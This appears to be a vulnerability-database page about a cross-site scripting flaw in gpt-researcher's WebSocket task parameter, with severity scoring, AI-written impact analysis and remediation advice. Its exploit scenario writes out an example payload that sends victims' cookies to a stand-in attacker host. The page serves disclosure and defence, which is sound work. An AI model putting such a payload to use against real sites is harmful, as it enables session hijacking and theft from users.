Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | While the CVSS score of 4.3 is relatively low, the signal analysis presents a mixed picture. The attack vector is network-based and requires no authentication (PR:N, AV:N), making it remotely exploitable by any user. Attack complexity is low (AC:L), indicating straightforward exploitation. However, the impact is limited: the vulnerability affects only integrity (I:L) with no confidentiality or availability impact, and requires user interaction (UI:R). The presence of publicly available exploit code (POC=YES) elevates practical risk-attackers have functional tooling ready to deploy. The vendor has not responded to early notification (RL:X), suggesting no patch is currently available. EPSS would likely assess this as moderate-risk given POC availability despite low CVSS; the lack of patched version, combined with open exploit code and network accessibility, makes this a material security issue for deployments of gpt-researcher, particularly in environments where user input flows through the WebSocket interface. |
| Exploit ScenarioDerived | An attacker crafts a malicious research request with an XSS payload embedded in the task parameter (e.g., task parameter containing "<img src=x onerror='fetch(attacker.com/steal?cookie='+document.cookie)'>" or similar JavaScript code). When a legitimate user interacts with the gpt-researcher WebSocket interface and processes this request, the malicious script executes in their browser context, potentially allowing the attacker to steal session cookies, capture keystrokes, or perform actions on behalf of the authenticated user. Publicly available exploit code exists (GitHub issue #1692), enabling attackers to automate this attack. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 06, 2026
Cross-site scripting (XSS) vulnerability in assafelovic gpt-researcher up to version 3.4.3 allows unauthenticated remote attackers to inject malicious scripts via manipulation of the task argument in the WebSocket Interface component. Publicly available exploit code exists, and the vulnerability affects the file gpt_researcher/skills/researcher.py with low CVSS severity (4.3) but confirmed proof-of-concept availability indicating active technical feasibility.
RemediationAI
No vendor-released patch identified at time of analysis; the vendor has not responded to the early notification. Users should immediately implement input sanitization and output encoding for the task parameter in the WebSocket Interface, ensuring all user-supplied values are properly escaped before rendering in HTML or JavaScript contexts. As a temporary mitigation, restrict access to the WebSocket endpoint to trusted users only, implement Content Security Policy (CSP) headers to limit script execution, or disable the WebSocket Interface if not actively required. Monitor the official GitHub repository (https://github.com/assafelovic/gpt-researcher/) for security updates and patch releases. Users should also review application logs for evidence of XSS payload injection attempts via the task parameter.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a stored or reflected cross-site scripting flaw (CWE-79) in the WebSocket Interface component of gpt-researcher, a research automation tool. The weakness exists in the task parameter processing within the researcher.py skill module. When user-controlled input from the task argument is not properly sanitized or encoded before being rendered in a web context, an attacker can inject malicious JavaScript code that will execute in the victim's browser. The affected product is a Python-based research agent framework that uses WebSocket communication; the vulnerability stems from insufficient input validation on the task parameter, allowing XSS payload injection through this web interface endpoint.
Know when Gpt Researcher gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
4DescriptionCVE.org
A weakness has been identified in assafelovic gpt-researcher up to 3.4.3. This issue affects some unknown processing of the file gpt_researcher/skills/researcher.py of the component WebSocket Interface. Executing a manipulation of the argument task can lead to cross site scripting. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-19178
GHSA-9v4r-x2jq-w7jg
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB